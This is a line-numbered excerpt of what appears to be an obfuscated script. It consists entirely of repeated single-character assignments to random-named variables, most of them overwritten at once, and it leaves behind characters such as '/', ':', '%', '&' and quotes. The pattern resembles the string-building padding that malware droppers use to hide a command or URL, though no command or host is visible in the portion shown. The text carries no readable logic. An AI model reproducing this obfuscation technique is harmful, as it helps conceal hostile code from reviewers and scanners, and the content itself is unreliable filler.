212	umbpyoo = "4";
213	lybikfs = "O";
214	lybikfs = "f";
215	lybikfs = "k";
216	lybikfs = "K";
217	lybikfs = "b";
218	lybikfs = "t";
219	lybikfs = "G";
220	lybikfs = "M";
221	lybikfs = "U";
222	lybikfs = "Y";
223	lybikfs = "Z";
224	lybikfs = "S";
225	lybikfs = "n";
226	uqghapr = "v";
227	uqghapr = "S";
228	uqghapr = "I";
229	uqghapr = "Q";
230	uqghapr = "k";
231	uqghapr = "Y";
232	uqghapr = "p";
233	uqghapr = "P";
234	uqghapr = "H";
235	uqghapr = "s";
236	uqghapr = "G";
237	uqghapr = "u";
238	uqghapr = "r";
239	uqghapr = "n";
240	uqghapr = "C";
241	uqghapr = "t";
242	uqghapr = "Q";
243	uqghapr = "A";
244	uqghapr = "u";
245	uqghapr = "N";
246	uqghapr = "v";
247	epenq = "x";
248	epenq = "q";
249	epenq = "I";
250	epenq = "r";
251	epenq = "d";
252	epenq = "V";
253	epenq = "H";
254	epenq = "r";
255	epenq = "y";
256	epenq = "t";
257	epenq = "L";
258	epenq = "j";
259	epenq = "P";
260	dphebjw = "M";
261	dphebjw = "j";
262	dphebjw = "w";
263	dphebjw = "m";
264	dphebjw = "V";
265	dphebjw = "f";
266	dphebjw = "s";
267	dphebjw = "C";
268	dphebjw = "R";
269	dphebjw = "J";
270	dphebjw = "p";
271	dphebjw = "z";
272	dphebjw = "T";
273	dphebjw = "T";
274	dphebjw = "U";
275	dphebjw = "I";
276	dphebjw = "y";
277	dphebjw = "Q";
278	ljxngvxz = "b";
279	ljxngvxz = "W";
280	ljxngvxz = "x";
281	ljxngvxz = "v";
282	ljxngvxz = "X";
283	ljxngvxz = "r";
284	ljxngvxz = "k";
285	ljxngvxz = "k";
286	ljxngvxz = "t";
287	ljxngvxz = "O";
288	ljxngvxz = "L";
289	ljxngvxz = "O";
290	ljxngvxz = "p";
291	ljxngvxz = "m";
292	ljxngvxz = "Z";
293	ljxngvxz = "V";
294	ljxngvxz = "i";
295	ljxngvxz = "r";
296	ljxngvxz = "C";
297	ljxngvxz = "y";
298	ljxngvxz = "H";
299	ljxngvxz = "Y";
300	ljxngvxz = "t";
301	ljxngvxz = "D";
302	ljxngvxz = "S";
303	ljxngvxz = "N";
304	ljxngvxz = "y";
305	ljxngvxz = "-";
306	nuwwaoq = "l";
307	nuwwaoq = "X";
308	nuwwaoq = "D";
309	nuwwaoq = "y";
310	nuwwaoq = "S";
311	nuwwaoq = "h";
312	nuwwaoq = "L";
313	nuwwaoq = "G";
314	nuwwaoq = "V";
315	nuwwaoq = "R";
316	nuwwaoq = "k";
317	nuwwaoq = "O";
318	nuwwaoq = "x";
319	nuwwaoq = "X";
320	nuwwaoq = "c";
321	nuwwaoq = "p";
322	nuwwaoq = "Z";
323	nuwwaoq = "f";
324	nuwwaoq = "h";
325	nuwwaoq = "L";
326	nuwwaoq = "X";
327	nuwwaoq = "e";
328	nuwwaoq = "r";
329	nuwwaoq = "i";
330	nuwwaoq = "I";
331	nuwwaoq = "i";
332	nuwwaoq = "F";
333	nuwwaoq = "B";
334	nuwwaoq = "Y";
335	nuwwaoq = "w";
336	nuwwaoq = "w";
337	nuwwaoq = "O";
338	lnvvbv = "K";
339	lnvvbv = "q";
340	lnvvbv = "c";
341	lnvvbv = "l";
342	lnvvbv = "k";
343	lnvvbv = "G";
344	lnvvbv = "H";
345	lnvvbv = "l";
346	lnvvbv = "R";
347	lnvvbv = "q";
348	lnvvbv = "K";
349	lnvvbv = "t";
350	lnvvbv = "V";
351	lnvvbv = "C";
352	lnvvbv = "Y";
353	lnvvbv = "I";
354	lnvvbv = "e";
355	lnvvbv = "K";
356	lnvvbv = "c";
357	lnvvbv = "n";
358	lnvvbv = "l";
359	lnvvbv = "H";
360	lnvvbv = "I";
361	lnvvbv = "U";
362	lnvvbv = "g";
363	eltascwrb = "Q";
364	eltascwrb = "K";
365	eltascwrb = "H";
366	eltascwrb = "Y";
367	eltascwrb = "U";
368	eltascwrb = "Z";
369	eltascwrb = "F";
370	eltascwrb = "C";
371	eltascwrb = "i";
372	eltascwrb = "L";
373	eltascwrb = "t";
374	eltascwrb = "w";
375	eltascwrb = "h";
376	eltascwrb = "n";
377	eltascwrb = "v";
378	eltascwrb = "M";
379	eltascwrb = "j";
380	eltascwrb = "o";
381	eltascwrb = "T";
382	eltascwrb = "m";
383	eltascwrb = "q";
384	eltascwrb = "a";
385	eltascwrb = "H";
386	eltascwrb = "X";
387	eltascwrb = "v";
388	eltascwrb = "k";
389	eltascwrb = "Q";
390	eltascwrb = "m";
391	eltascwrb = "t";
392	eltascwrb = "e";
393	wvmgg = "f";
394	wvmgg = "f";
395	wvmgg = "S";
396	wvmgg = "T";
397	wvmgg = "i";
398	wvmgg = "B";
399	wvmgg = "B";
400	wvmgg = "k";
401	wvmgg = "m";
402	wvmgg = "g";
403	wvmgg = "f";
404	wvmgg = "Y";
405	wvmgg = "I";
406	wvmgg = "p";
407	wvmgg = "O";
408	wvmgg = "y";
409	wvmgg = "h";
410	wvmgg = "T";
411	wvmgg = "W";
412	wvmgg = "S";
413	wvmgg = "V";
414	wvmgg = "h";
415	wvmgg = "J";
416	wvmgg = "M";
417	wvmgg = "u";
418	wvmgg = "H";
419	wvmgg = "N";
420	wvmgg = "i";
421	wvmgg = "a";
422	wvmgg = "F";
423	wvmgg = "N";
424	wvmgg = "S";
425	wvmgg = "r";
426	wvmgg = "a";
427	wvmgg = "i";
428	wvmgg = "w";
429	hhebn = "b";
430	hhebn = "z";
431	hhebn = "q";
432	hhebn = "h";
433	hhebn = "K";
434	hhebn = "E";
435	hhebn = "N";
436	hhebn = "a";
437	hhebn = "h";
438	hhebn = "U";
439	hhebn = "e";
440	hhebn = "p";
441	hhebn = "d";
442	hhebn = "h";
443	hhebn = "y";
444	hhebn = "Z";
445	hhebn = "u";
446	hhebn = "C";
447	hhebn = "Z";
448	hhebn = "D";
449	hhebn = "a";
450	hhebn = "U";
451	hhebn = "K";
452	hhebn = "a";
453	hhebn = "w";
454	hhebn = "s";
455	hhebn = "H";
456	hhebn = "V";
457	hhebn = "C";
458	hhebn = "e";
459	hhebn = "g";
460	hhebn = "e";
461	hhebn = "O";
462	hhebn = "q";
463	hhebn = "E";
464	hhebn = "u";
465	hhebn = "g";
466	hhebn = "P";
467	hhebn = "f";
468	hhebn = "N";
469	hhebn = "k";
470	hhebn = "Q";
471	hhebn = "x";
472	bqlsmk = "z";
473	bqlsmk = "T";
474	bqlsmk = "w";
475	bqlsmk = "h";
476	bqlsmk = "e";
477	bqlsmk = "R";
478	adhmrp = "v";
479	adhmrp = "i";
480	adhmrp = "y";
481	adhmrp = "g";
482	adhmrp = "Q";
483	adhmrp = "R";
484	adhmrp = "Q";
485	adhmrp = "W";
486	adhmrp = "X";
487	adhmrp = "t";
488	adhmrp = "c";
489	adhmrp = "X";
490	adhmrp = "Z";
491	adhmrp = "n";
492	adhmrp = "F";
493	adhmrp = "D";
494	adhmrp = "l";
495	adhmrp = "I";
496	adhmrp = "s";
497	adhmrp = "N";
498	adhmrp = "B";
499	adhmrp = "J";
500	adhmrp = "a";
501	adhmrp = "v";
502	adhmrp = "F";
503	adhmrp = "m";
504	adhmrp = "B";
505	adhmrp = "D";
506	adhmrp = "u";
507	adhmrp = "Z";
508	adhmrp = "D";
509	adhmrp = "i";
510	adhmrp = "l";
511	adhmrp = "a";
512	adhmrp = "r";
513	adhmrp = "r";
514	adhmrp = "c";
515	adhmrp = "s";
516	adhmrp = "d";
517	adhmrp = "f";
518	adhmrp = "U";
519	ayuwb = "E";
520	ayuwb = "a";
521	ayuwb = "G";
522	ayuwb = "u";
523	ayuwb = "K";
524	ayuwb = "B";
525	ayuwb = "x";
526	ayuwb = "b";
527	ayuwb = "S";
528	ayuwb = "F";
529	ayuwb = "n";
530	ayuwb = "D";
531	ayuwb = "p";
532	ayuwb = "x";
533	ayuwb = "i";
534	ayuwb = "q";
535	ayuwb = "o";
536	ayuwb = "M";
537	ayuwb = "G";
538	ayuwb = "a";
539	ayuwb = "m";
540	ayuwb = "H";
541	ayuwb = "N";
542	ayuwb = "U";
543	ayuwb = "x";
544	ayuwb = "J";
545	ayuwb = "v";
546	ayuwb = "f";
547	ayuwb = "T";
548	ayuwb = "k";
549	ayuwb = "k";
550	ayuwb = "x";
551	ayuwb = "V";
552	ayuwb = "H";
553	ayuwb = "U";
554	ayuwb = "M";
555	ayuwb = "c";
556	ayuwb = "Y";
557	ayuwb = "T";
558	ayuwb = "t";
559	ayuwb = "M";
560	ayuwb = "F";
561	faoeypuun = "Q";
562	faoeypuun = "g";
563	faoeypuun = "P";
564	faoeypuun = "O";
565	faoeypuun = "d";
566	faoeypuun = "C";
567	faoeypuun = "L";
568	faoeypuun = "a";
569	faoeypuun = "q";
570	faoeypuun = "y";
571	faoeypuun = "a";
572	faoeypuun = "Z";
573	faoeypuun = "I";
574	faoeypuun = "m";
575	faoeypuun = "o";
576	faoeypuun = "j";
577	faoeypuun = "g";
578	faoeypuun = "D";
579	faoeypuun = "I";
580	faoeypuun = "O";
581	faoeypuun = "V";
582	faoeypuun = "Q";
583	faoeypuun = "s";
584	faoeypuun = "u";
585	faoeypuun = "f";
586	faoeypuun = "N";
587	faoeypuun = "r";
588	faoeypuun = "i";
589	faoeypuun = "w";
590	faoeypuun = "7";
591	uchndcsl = "Q";
592	uchndcsl = "L";
593	uchndcsl = "h";
594	uchndcsl = "U";
595	uchndcsl = "d";
596	uchndcsl = "i";
597	uchndcsl = "z";
598	uchndcsl = "l";
599	uchndcsl = "V";
600	uchndcsl = "D";
601	uchndcsl = "N";
602	uchndcsl = "I";
603	uchndcsl = "e";
604	uchndcsl = "Q";
605	uchndcsl = "w";
606	uchndcsl = "Y";
607	uchndcsl = "w";
608	uchndcsl = "H";
609	uchndcsl = "Y";
610	uchndcsl = "E";
611	uchndcsl = "b";
612	uchndcsl = "t";
613	uchndcsl = "q";
614	uchndcsl = "G";
615	uchndcsl = "S";
616	uchndcsl = "B";
617	uchndcsl = "f";
618	uchndcsl = "s";
619	uchndcsl = "P";
620	uchndcsl = "Z";
621	uchndcsl = "m";
622	jhnrnw = "i";
623	jhnrnw = "I";
624	jhnrnw = "j";
625	jhnrnw = "A";
626	jhnrnw = "z";
627	jhnrnw = "U";
628	jhnrnw = "c";
629	jhnrnw = "f";
630	jhnrnw = "h";
631	jhnrnw = "m";
632	jhnrnw = "v";
633	jhnrnw = "D";
634	jhnrnw = "L";
635	jhnrnw = "d";
636	jhnrnw = "J";
637	jhnrnw = "a";
638	jhnrnw = "N";
639	jhnrnw = "c";
640	jhnrnw = "s";
641	jhnrnw = "s";
642	jhnrnw = "c";
643	jhnrnw = "p";
644	jhnrnw = "t";
645	jhnrnw = "d";
646	jhnrnw = "s";
647	jhnrnw = "h";
648	jhnrnw = "S";
649	jhnrnw = "b";
650	jhnrnw = "e";
651	jhnrnw = "G";
652	jhnrnw = "w";
653	jhnrnw = "t";
654	jhnrnw = "e";
655	jhnrnw = "W";
656	jhnrnw = "Q";
657	jhnrnw = "q";
658	jhnrnw = "D";
659	jhnrnw = "g";
660	jhnrnw = "u";
661	jhnrnw = "o";
662	jhnrnw = "W";
663	jhnrnw = "g";
664	jhnrnw = "E";
665	jhnrnw = "l";
666	jhnrnw = "/";
667	elmxgarn = "n";
668	elmxgarn = "x";
669	elmxgarn = "b";
670	elmxgarn = "Y";
671	elmxgarn = "K";
672	elmxgarn = "s";
673	elmxgarn = "v";
674	elmxgarn = "S";
675	elmxgarn = "%";
676	tsupyo = "m";
677	tsupyo = "H";
678	tsupyo = "A";
679	tsupyo = "t";
680	tsupyo = "y";
681	tsupyo = "H";
682	tsupyo = "t";
683	tsupyo = "Q";
684	tsupyo = "N";
685	tsupyo = "S";
686	tsupyo = ".";
687	jcrybqb = "W";
688	jcrybqb = "u";
689	jcrybqb = "Z";
690	jcrybqb = "t";
691	jcrybqb = "z";
692	jcrybqb = "m";
693	jcrybqb = "n";
694	jcrybqb = "U";
695	jcrybqb = "W";
696	jcrybqb = "U";
697	jcrybqb = "n";
698	jcrybqb = "q";
699	jcrybqb = "m";
700	jcrybqb = "o";
701	jcrybqb = "X";
702	jcrybqb = "J";
703	jcrybqb = "H";
704	jcrybqb = "n";
705	jcrybqb = ":";
706	emxad = "T";
707	emxad = "G";
708	emxad = "y";
709	emxad = "c";
710	emxad = "R";
711	emxad = "j";
712	emxad = "g";
713	emxad = "m";
714	emxad = "I";
715	emxad = "k";
716	emxad = "y";
717	emxad = "I";
718	emxad = "x";
719	emxad = "q";
720	emxad = "K";
721	emxad = "t";
722	emxad = "T";
723	emxad = "N";
724	emxad = "O";
725	emxad = "d";
726	emxad = "G";
727	emxad = "k";
728	onhfxvy = "k";
729	onhfxvy = "v";
730	onhfxvy = "z";
731	onhfxvy = "M";
732	onhfxvy = "j";
733	onhfxvy = "x";
734	onhfxvy = "v";
735	onhfxvy = "S";
736	onhfxvy = "c";
737	onhfxvy = "P";
738	onhfxvy = "l";
739	onhfxvy = "E";
740	onhfxvy = "P";
741	onhfxvy = "h";
742	onhfxvy = "D";
743	onhfxvy = "u";
744	onhfxvy = "E";
745	onhfxvy = "I";
746	onhfxvy = "e";
747	onhfxvy = "K";
748	onhfxvy = "A";
749	onhfxvy = "k";
750	onhfxvy = "p";
751	onhfxvy = "q";
752	onhfxvy = "F";
753	onhfxvy = "S";
754	onhfxvy = "d";
755	onhfxvy = "z";
756	onhfxvy = "Z";
757	onhfxvy = "Z";
758	onhfxvy = "Z";
759	onhfxvy = "U";
760	onhfxvy = "F";
761	onhfxvy = "p";
762	onhfxvy = "B";
763	onhfxvy = "u";
764	onhfxvy = "W";
765	onhfxvy = "k";
766	onhfxvy = "y";
767	onhfxvy = "M";
768	onhfxvy = "E";
769	yqndbfna = "H";
770	yqndbfna = "S";
771	yqndbfna = "w";
772	yqndbfna = "d";
773	yqndbfna = "H";
774	yqndbfna = "I";
775	yqndbfna = "D";
776	yqndbfna = "A";
777	yqndbfna = "P";
778	yqndbfna = "w";
779	yqndbfna = "W";
780	yqndbfna = "K";
781	yqndbfna = "f";
782	yqndbfna = "B";
783	yqndbfna = "F";
784	yqndbfna = "p";
785	yqndbfna = "w";
786	yqndbfna = "B";
787	yqndbfna = "y";
788	yqndbfna = "n";
789	yqndbfna = "n";
790	yqndbfna = "D";
791	yqndbfna = "h";
792	yqndbfna = "t";
793	yqndbfna = "f";
794	yqndbfna = "j";
795	yqndbfna = "d";
796	yqndbfna = "B";
797	yqndbfna = "D";
798	yqndbfna = "u";
799	yqndbfna = "v";
800	yqndbfna = "x";
801	yqndbfna = "O";
802	yqndbfna = "S";
803	yqndbfna = "J";
804	yqndbfna = "m";
805	yqndbfna = "H";
806	yeezvcqdv = "r";
807	ajxpmq = "g";
808	ajxpmq = "o";
809	ajxpmq = "x";
810	ajxpmq = "F";
811	ajxpmq = "J";
812	ajxpmq = "f";
813	ajxpmq = "s";
814	ajxpmq = "M";
815	ajxpmq = "p";
816	ajxpmq = "Y";
817	ajxpmq = "p";
818	ajxpmq = "x";
819	ajxpmq = "W";
820	ajxpmq = "R";
821	ajxpmq = "o";
822	ajxpmq = "q";
823	vlmvk = "g";
824	vlmvk = "Y";
825	vlmvk = "r";
826	vlmvk = "q";
827	vlmvk = "P";
828	vlmvk = "M";
829	vlmvk = "j";
830	vlmvk = "l";
831	vlmvk = "g";
832	vlmvk = "N";
833	vlmvk = "i";
834	vlmvk = "L";
835	vlmvk = "c";
836	vlmvk = "S";
837	vlmvk = "u";
838	wnnnnmdz = "D";
839	wnnnnmdz = "x";
840	wnnnnmdz = "s";
841	wnnnnmdz = "c";
842	wnnnnmdz = "Y";
843	wnnnnmdz = "U";
844	wnnnnmdz = "u";
845	wnnnnmdz = "y";
846	wnnnnmdz = "W";
847	wnnnnmdz = "x";
848	wnnnnmdz = "j";
849	wnnnnmdz = "j";
850	wnnnnmdz = "G";
851	wnnnnmdz = "r";
852	wnnnnmdz = "o";
853	wnnnnmdz = "D";
854	wnnnnmdz = "A";
855	wnnnnmdz = "i";
856	wnnnnmdz = "9";
857	tphleb = "D";
858	tphleb = "j";
859	tphleb = "X";
860	tphleb = "h";
861	tphleb = "b";
862	tphleb = "Y";
863	tphleb = "Z";
864	tphleb = "E";
865	tphleb = "h";
866	tphleb = "D";
867	tphleb = "f";
868	tphleb = "u";
869	tphleb = "x";
870	tphleb = "r";
871	tphleb = "U";
872	tphleb = "w";
873	tphleb = "x";
874	tphleb = "F";
875	tphleb = "F";
876	tphleb = "i";
877	tphleb = "m";
878	tphleb = "c";
879	ltsnxnqcl = "m";
880	ltsnxnqcl = "W";
881	ltsnxnqcl = "V";
882	ltsnxnqcl = "p";
883	ltsnxnqcl = "V";
884	ltsnxnqcl = "f";
885	ltsnxnqcl = "o";
886	ltsnxnqcl = "P";
887	ltsnxnqcl = "A";
888	ltsnxnqcl = "d";
889	ltsnxnqcl = "J";
890	ltsnxnqcl = "m";
891	ltsnxnqcl = "h";
892	ltsnxnqcl = "Q";
893	ltsnxnqcl = "Z";
894	ltsnxnqcl = "B";
895	ltsnxnqcl = "N";
896	ugxuxccx = "V";
897	ugxuxccx = "Z";
898	ugxuxccx = "P";
899	ugxuxccx = "l";
900	ugxuxccx = "i";
901	ugxuxccx = "T";
902	ugxuxccx = "o";
903	ugxuxccx = "t";
904	ugxuxccx = "J";
905	ugxuxccx = "p";
906	ugxuxccx = "X";
907	ugxuxccx = "Z";
908	ugxuxccx = "c";
909	ugxuxccx = "x";
910	ugxuxccx = "p";
911	ugxuxccx = "Y";
912	ugxuxccx = "W";
913	ugxuxccx = "Z";
914	ugxuxccx = "Q";
915	ugxuxccx = "i";
916	ugxuxccx = "V";
917	ugxuxccx = "W";
918	ugxuxccx = "k";
919	ugxuxccx = "y";
920	ugxuxccx = "D";
921	ugxuxccx = "h";
922	ugxuxccx = "f";
923	crdck = "O";
924	crdck = "N";
925	crdck = "i";
926	crdck = "C";
927	crdck = "J";
928	crdck = "B";
929	crdck = "n";
930	crdck = "F";
931	crdck = "j";
932	crdck = "F";
933	crdck = "M";
934	crdck = "G";
935	crdck = "P";
936	crdck = "a";
937	crdck = "C";
938	crdck = "p";
939	oxrqavb = "B";
940	oxrqavb = "M";
941	oxrqavb = "v";
942	oxrqavb = "k";
943	oxrqavb = "J";
944	oxrqavb = "N";
945	oxrqavb = "i";
946	oxrqavb = "I";
947	oxrqavb = "A";
948	oxrqavb = "D";
949	oxrqavb = "S";
950	oxrqavb = "r";
951	oxrqavb = "I";
952	oxrqavb = "g";
953	oxrqavb = "1";
954	jramjh = "K";
955	jramjh = "N";
956	jramjh = "u";
957	jramjh = "T";
958	jramjh = "q";
959	jramjh = "h";
960	jramjh = "E";
961	jramjh = "q";
962	jramjh = "D";
963	jramjh = "G";
964	jramjh = "K";
965	jramjh = "C";
966	jramjh = "D";
967	jramjh = "b";
968	jramjh = "q";
969	jramjh = "Z";
970	jramjh = "m";
971	jramjh = "U";
972	jramjh = "w";
973	jramjh = "E";
974	jramjh = "p";
975	jramjh = "m";
976	jramjh = "s";
977	pkubjlqfl = "x";
978	pkubjlqfl = "C";
979	pkubjlqfl = "W";
980	pkubjlqfl = "p";
981	pkubjlqfl = "W";
982	pkubjlqfl = "R";
983	pkubjlqfl = "a";
984	pkubjlqfl = "j";
985	pkubjlqfl = "R";
986	pkubjlqfl = "I";
987	pkubjlqfl = "T";
988	pkubjlqfl = "k";
989	pkubjlqfl = "P";
990	pkubjlqfl = "3";
991	pwvzkc = "Y";
992	pwvzkc = "E";
993	pwvzkc = "N";
994	pwvzkc = "i";
995	pwvzkc = "w";
996	pwvzkc = "o";
997	pwvzkc = "N";
998	pwvzkc = "H";
999	pwvzkc = "C";
1000	pwvzkc = "m";
1001	pwvzkc = "V";
1002	pwvzkc = "d";
1003	pwvzkc = "i";
1004	pwvzkc = "I";
1005	pwvzkc = "W";
1006	pwvzkc = "z";
1007	pwvzkc = "C";
1008	pwvzkc = "K";
1009	pwvzkc = "c";
1010	pwvzkc = "q";
1011	pwvzkc = "O";
1012	pwvzkc = "n";
1013	pwvzkc = "v";
1014	pwvzkc = "s";
1015	pwvzkc = "\"";
1016	cbbajrft = "Z";
1017	cbbajrft = "s";
1018	cbbajrft = "s";
1019	cbbajrft = "O";
1020	cbbajrft = "a";
1021	cbbajrft = "X";
1022	cbbajrft = "Z";
1023	cbbajrft = "B";
1024	cbbajrft = "P";
1025	cbbajrft = "j";
1026	cbbajrft = "F";
1027	cbbajrft = "z";
1028	cbbajrft = "R";
1029	cbbajrft = "U";
1030	cbbajrft = "f";
1031	cbbajrft = "K";
1032	cbbajrft = "i";
1033	cbbajrft = "w";
1034	cbbajrft = "h";
1035	cbbajrft = "J";
1036	cbbajrft = "T";
1037	cbbajrft = "g";
1038	cbbajrft = "Y";
1039	cbbajrft = "N";
1040	cbbajrft = "V";
1041	cbbajrft = "y";
1042	cbbajrft = "h";
1043	eudile = "C";
1044	eudile = "P";
1045	eudile = "f";
1046	eudile = "t";
1047	eudile = "O";
1048	eudile = "E";
1049	eudile = "X";
1050	eudile = "y";
1051	eudile = "t";
1052	eudile = "b";
1053	eudile = "C";
1054	eudile = "f";
1055	eudile = "W";
1056	eudile = "G";
1057	eudile = "W";
1058	eudile = "t";
1059	eudile = "W";
1060	eudile = "w";
1061	eudile = "d";
1062	eudile = "g";
1063	eudile = "W";
1064	eudile = "Y";
1065	eudile = "v";
1066	eudile = "c";
1067	eudile = "d";
1068	eudile = "M";
1069	eudile = "O";
1070	eudile = "P";
1071	eudile = "y";
1072	eudile = "T";
1073	eudile = "F";
1074	eudile = "L";
1075	phtiusn = "E";
1076	phtiusn = "Z";
1077	phtiusn = "w";
1078	phtiusn = "M";
1079	phtiusn = "p";
1080	phtiusn = "i";
1081	phtiusn = "Y";
1082	phtiusn = "N";
1083	phtiusn = "w";
1084	phtiusn = "v";
1085	phtiusn = "G";
1086	phtiusn = "d";
1087	phtiusn = "o";
1088	phtiusn = "W";
1089	phtiusn = "k";
1090	phtiusn = "T";
1091	phtiusn = "d";
1092	phtiusn = "P";
1093	phtiusn = "Y";
1094	phtiusn = "H";
1095	phtiusn = "T";
1096	envwtsb = "F";
1097	envwtsb = "S";
1098	envwtsb = "b";
1099	ldqwnrkb = "V";
1100	ldqwnrkb = "X";
1101	ldqwnrkb = "Y";
1102	ldqwnrkb = "n";
1103	ldqwnrkb = "b";
1104	ldqwnrkb = "C";
1105	ldqwnrkb = "Y";
1106	ldqwnrkb = "L";
1107	ldqwnrkb = "N";
1108	ldqwnrkb = "L";
1109	ldqwnrkb = "l";
1110	ldqwnrkb = "U";
1111	ldqwnrkb = "A";
1112	ldqwnrkb = "k";
1113	ldqwnrkb = "p";
1114	ldqwnrkb = "X";
1115	ldqwnrkb = "d";
1116	ldqwnrkb = "Q";
1117	ldqwnrkb = "v";
1118	ldqwnrkb = "H";
1119	ldqwnrkb = "y";
1120	ldqwnrkb = "c";
1121	ldqwnrkb = "c";
1122	ldqwnrkb = "N";
1123	ldqwnrkb = "X";
1124	ldqwnrkb = "A";
1125	ldqwnrkb = "u";
1126	ldqwnrkb = "Y";
1127	ldqwnrkb = "R";
1128	ldqwnrkb = " ";
1129	dxaspkzg = "i";
1130	dxaspkzg = "B";
1131	dxaspkzg = "P";
1132	dxaspkzg = "d";
1133	dxaspkzg = "j";
1134	dxaspkzg = "u";
1135	dxaspkzg = "i";
1136	dxaspkzg = "f";
1137	dxaspkzg = "W";
1138	dxaspkzg = "p";
1139	dxaspkzg = "&";
1140	aiqrrvv = "W";
1141	aiqrrvv = "n";
1142	aiqrrvv = "z";
1143	aiqrrvv = "t";
1144	aiqrrvv = "T";
1145	aiqrrvv = "R";
1146	aiqrrvv = "p";
1147	aiqrrvv = "N";
1148	aiqrrvv = "q";
1149	aiqrrvv = "m";
1150	aiqrrvv = "m";
1151	aiqrrvv = "Q";
1152	aiqrrvv = "F";
1153	aiqrrvv = "a";
1154	aiqrrvv = "Y";
1155	aiqrrvv = "x";
1156	aiqrrvv = "v";
1157	aiqrrvv = "t";
1158	aiqrrvv = "C";
1159	aiqrrvv = "Q";
1160	aiqrrvv = "K";
1161	aiqrrvv = "q";
1162	aiqrrvv = "e";
1163	aiqrrvv = "j";
1164	aiqrrvv = "w";
1165	aiqrrvv = "I";
1166	aiqrrvv = "h";
1167	aiqrrvv = "O";
1168	aiqrrvv = "V";
1169	aiqrrvv = "g";
1170	aiqrrvv = "r";
1171	aiqrrvv = "j";
1172	aiqrrvv = "I";
1173	xfpryqs = "s";
1174	xfpryqs = "t";
1175	xfpryqs = "T";
1176	xfpryqs = "B";
1177	xfpryqs = "X";
1178	xfpryqs = "q";
1179	xfpryqs = "W";
1180	xfpryqs = "e";
1181	xfpryqs = "p";
1182	xfpryqs = "z";
1183	xfpryqs = "s";
1184	xfpryqs = "i";
1185	xfpryqs = "p";
1186	xfpryqs = "d";
1187	xfpryqs = "M";
1188	xfpryqs = "H";
1189	xfpryqs = "N";
1190	xfpryqs = "j";
1191	ybyptu = "O";
1192	ybyptu = "v";
1193	ybyptu = "Z";
1194	ybyptu = "n";
1195	ybyptu = "V";
1196	ybyptu = "S";
1197	ybyptu = "a";
1198	ybyptu = "J";
1199	ybyptu = "U";
1200	ybyptu = "Y";
1201	ybyptu = "B";
1202	ybyptu = "a";
1203	ybyptu = "X";
1204	ybyptu = "K";
1205	ybyptu = "A";
1206	ybyptu = "r";
1207	ybyptu = "A";
1208	ybyptu = "N";
1209	ybyptu = "v";
1210	ybyptu = "U";
1211	ybyptu = "V";
1212	ybyptu = "I";
1213	ybyptu = "F";
1214	ybyptu = "V";
1215	ybyptu = "l";
1216	ybyptu = "i";
1217	ybyptu = "y";
1218	ybyptu = "O";
1219	ybyptu = "s";
1220	ybyptu = "V";
1221	ybyptu = "C";
1222	ybyptu = "m";
1223	ybyptu = "r";
1224	ybyptu = "X";
1225	ybyptu = "z";
1226	ybyptu = "W";
1227	ybyptu = "K";
1228	ycfxtvepy = "K";
1229	ycfxtvepy = "i";
1230	ycfxtvepy = "I";
1231	ycfxtvepy = "x";
1232	ycfxtvepy = "G";
1233	ycfxtvepy = "B";
1234	ycfxtvepy = "n";
1235	ycfxtvepy = "o";
1236	ycfxtvepy = "L";
1237	ycfxtvepy = "a";
1238	ycfxtvepy = "g";
1239	ycfxtvepy = "J";
1240	ycfxtvepy = "c";
1241	ycfxtvepy = "A";
1242	ycfxtvepy = "h";
1243	ycfxtvepy = "V";
1244	ycfxtvepy = "X";
1245	ycfxtvepy = "Y";
1246	ycfxtvepy = "j";
1247	ycfxtvepy = "a";
1248	ycfxtvepy = "r";
1249	ycfxtvepy = "L";
1250	ycfxtvepy = "H";
1251	ycfxtvepy = "r";
1252	ycfxtvepy = "s";
1253	ycfxtvepy = "N";
1254	ycfxtvepy = "N";
1255	ycfxtvepy = "r";
1256	ycfxtvepy = "E";
1257	ycfxtvepy = "Z";
1258	ycfxtvepy = "c";
1259	ycfxtvepy = "B";
1260	ycfxtvepy = "x";
1261	ycfxtvepy = "u";
1262	ycfxtvepy = "I";
1263	ycfxtvepy = "t";
1264	mozcmo = "I";
1265	mozcmo = "g";
1266	mozcmo = "e";
1267	mozcmo = "u";
1268	mozcmo = "H";
1269	mozcmo = "J";
1270	mozcmo = "a";
1271	mozcmo = "Z";
1272	mozcmo = "8";
1273	ktjtjuq = "g";
1274	ktjtjuq = "e";
1275	ktjtjuq = "z";
1276	ktjtjuq = "r";
1277	ktjtjuq = "g";
1278	ktjtjuq = "i";
1279	ktjtjuq = "v";
1280	ktjtjuq = "p";
1281	ktjtjuq = "p";
1282	ktjtjuq = "Z";
1283	ktjtjuq = "J";
1284	ktjtjuq = "f";
1285	ktjtjuq = "y";
1286	ktjtjuq = "R";
1287	ktjtjuq = "e";
1288	ktjtjuq = "i";
1289	ktjtjuq = "o";
1290	ktjtjuq = "y";
1291	ktjtjuq = "E";
1292	ktjtjuq = "R";
1293	ktjtjuq = "Y";
1294	ktjtjuq = "y";
1295	ktjtjuq = "M";
1296	ktjtjuq = "s";
1297	ktjtjuq = "U";
1298	ktjtjuq = "P";
1299	ktjtjuq = "D";
1300	ktjtjuq = "Z";
1301	ktjtjuq = "D";
1302	ktjtjuq = "D";
1303	ktjtjuq = "G";
1304	ktjtjuq = "f";
1305	ktjtjuq = "p";
1306	ktjtjuq = "c";
1307	ktjtjuq = "K";
1308	ktjtjuq = "I";
1309	ktjtjuq = "p";
1310	ktjtjuq = "P";
1311	ktjtjuq = "i";
1312	ktjtjuq = "n";
1313	ktjtjuq = "o";
1314	ktjtjuq = "V";
1315	ktjtjuq = "E";
1316	ktjtjuq = "a";
1317	cqabdb = "w";
1318	cqabdb = "W";
1319	nsfsghuyx = "e";
1320	nsfsghuyx = "g";
1321	nsfsghuyx = "u";
1322	nsfsghuyx = "u";
1323	nsfsghuyx = "V";
1324	nsfsghuyx = "N";
1325	nsfsghuyx = "W";
1326	nsfsghuyx = "D";
1327	nsfsghuyx = "Z";
1328	nsfsghuyx = "a";
1329	nsfsghuyx = "W";
1330	nsfsghuyx = "k";
1331	nsfsghuyx = "u";
1332	nsfsghuyx = "Q";
1333	nsfsghuyx = "h";
1334	nsfsghuyx = "c";
1335	nsfsghuyx = "W";
1336	nsfsghuyx = "O";
1337	nsfsghuyx = "l";
1338	nsfsghuyx = "n";
1339	nsfsghuyx = "H";
1340	nsfsghuyx = "u";
1341	nsfsghuyx = "j";
1342	nsfsghuyx = "g";
1343	nsfsghuyx = "B";
1344	nsfsghuyx = "U";
1345	nsfsghuyx = "g";
1346	nsfsghuyx = "M";
1347	nsfsghuyx = "Z";
